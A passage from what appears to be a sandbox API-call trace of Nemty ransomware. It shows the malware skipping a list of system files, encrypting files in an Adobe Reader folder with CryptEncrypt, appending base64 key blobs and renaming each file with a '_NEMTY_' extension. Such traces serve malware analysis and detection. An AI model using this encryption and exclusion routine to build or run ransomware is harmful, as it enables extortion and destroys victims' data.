lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.844] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.844] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Spelling.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\spelling.suo._nemty_kgobjgd_")) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.844] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.845] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2=".") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="..") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="...") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="windows") returned -1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="rsa") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="NTDETECT.COM") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="ntldr") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="MSDOS.SYS") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="IO.SYS") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="boot.ini") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="boot.ini") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="ntuser.dat") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="desktop.ini") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="CONFIG.SYS") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="RECYCLER") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="bootmgr") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="programdata") returned 1 [0176.845] lstrcmpiW (lpString1="updater.SUO", lpString2="appdata") returned 1 [0176.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.845] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.845] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.845] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.846] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.846] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.846] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.846] Sleep (dwMilliseconds=0x5) [0176.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0f8910, dwHighDateTime=0x1d561e8)) [0176.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d0f8910, dwHighDateTime=0x1d561e8)) [0176.855] GetLastError () returned 0x0 [0176.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.855] GetLastError () returned 0x0 [0176.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.855] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.855] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.855] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.855] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.855] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="VpbHLeAknF9u5RGDCocjIN0aUnpPV1aDEZ1wQPoUXsgwmb/scmcJw+Hx9/90QvOZ\r\nIK0zY8X7om4kU97OUI4a+TPE0cxwN9e5Osog4Kfl4hH+hchfFVlU83ZXZIry8UGh\r\nclV6KNWEVv1rja1G2Y0MEzB9osSC+VH6+LcpHjJ4XtaWXSbLIim5MCLd24u7lpA5\r\n+u/ExlCuna7xPi7mPTdVBVSTZPDlcbNjcZ5FY/bSqV5kaDRM+JLA9nqZi8a0CtlE\r\nibCgytmG46oM8Z11Q9bj73CfH/MemLkEYWJeUxU1SpKl19XUZguoKA+tZdt/UtBy\r\n9KtfjRdcQlUg5pGd7G0MQw==\r\n", pcchString=0x653e5dc) returned 1 [0176.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.856] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.856] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10240) returned 1 [0176.856] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2800) returned 0x6352c48 [0176.856] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.856] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2800, lpOverlapped=0x0) returned 1 [0176.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.905] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2800, lpOverlapped=0x0) returned 1 [0176.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.905] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2800 [0176.905] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.905] CloseHandle (hObject=0x2e8) returned 1 [0176.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.906] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo._nemty_kgobjgd_")) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.907] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2=".") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="..") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="...") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="windows") returned -1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="rsa") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="NTDETECT.COM") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="ntldr") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="MSDOS.SYS") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="IO.SYS") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="boot.ini") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="boot.ini") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="ntuser.dat") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="desktop.ini") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="CONFIG.SYS") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="RECYCLER") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="BOOTSECT.BAK") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="bootmgr") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="programdata") returned 1 [0176.907] lstrcmpiW (lpString1="Weblink.SUO", lpString2="appdata") returned 1 [0176.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.907] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0176.908] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SUO", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SUO", lpUsedDefaultChar=0x0) returned 11 [0176.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.908] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.908] Sleep (dwMilliseconds=0x5) [0176.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d190e90, dwHighDateTime=0x1d561e8)) [0176.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d190e90, dwHighDateTime=0x1d561e8)) [0176.917] GetLastError () returned 0x0 [0176.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.917] GetLastError () returned 0x0 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.918] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.918] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.918] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.918] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="XGOaJqru7nSYwcTWLKIFWqsK4BTTWLV+QVIjQKVZCzMaZRfkapfZruBs0YtaM9I6\r\ntAp39fn/eLuI8ulizU4Xu9x5WAQQYwdoOLivPDsDguNdI8h7ASiwLqJt5x+WX2lf\r\nVz258haljVLTLEoDijfZu0VUWSRik7+GM7HhRUjlR6uUDRcEIjVuJbktYIZd3YmK\r\n19OpoVxst30vJZX2C4muZ9gzK1k1T1Kgccx4uPQwOAEHpTobRXl1OLwzE0Pjk0DV\r\nICbDlEn8K8ddD+qcVPoYqnkjECXGzHZEDogkCFafENsxXsftWBJ7/BGLSKJ/Ecw0\r\naLezGbbE777vOWCblw24sg==\r\n", pcchString=0x653e5dc) returned 1 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Weblink.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\weblink.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.918] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27136) returned 1 [0176.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a00) returned 0x6352c48 [0176.918] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.918] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6a00, lpOverlapped=0x0) returned 1 [0176.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.922] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6a00, lpOverlapped=0x0) returned 1 [0176.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00 [0176.922] WriteFile (in: hFile=0x2e8, 